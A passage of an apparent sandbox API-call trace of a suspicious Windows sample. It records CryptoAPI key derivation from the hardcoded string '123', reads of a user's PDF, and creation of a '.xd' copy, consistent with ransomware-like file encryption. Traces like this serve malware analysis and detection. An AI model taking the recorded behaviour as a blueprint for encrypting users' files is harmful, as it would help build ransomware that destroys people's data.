dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.882] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.882] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa5e8) returned 1 [0073.882] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.882] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.882] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.882] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.883] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.883] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.883] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.883] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.883] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.883] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.884] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.884] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.884] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.884] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.885] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.885] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.885] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.885] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.886] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.886] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.886] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.886] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.886] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.886] CryptCreateHash (in: hProv=0x17aa5e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.886] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629340, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.887] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.887] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.887] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.887] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.887] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.887] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.887] CryptHashData (hHash=0x164c930, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.889] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.889] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.889] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.889] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.889] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.889] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.889] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.889] CryptDeriveKey (in: hProv=0x17aa5e8, Algid=0x6610, hBaseData=0x164c930, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0073.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.890] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.890] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.890] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.890] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.890] CryptDestroyHash (hHash=0x164c930) returned 1 [0073.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.894] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\skypj sgetvuqxksnqco.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.895] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.895] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.895] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.895] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.895] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.895] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.896] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\skypj sgetvuqxksnqco.pdf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.899] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.899] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0073.902] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x136, lpOverlapped=0x0) returned 1 [0073.902] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.913] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.914] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.914] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.914] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.914] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.914] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.914] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.915] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.915] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.915] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.915] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.915] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.915] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.916] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.916] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.916] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.916] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.916] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.917] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, 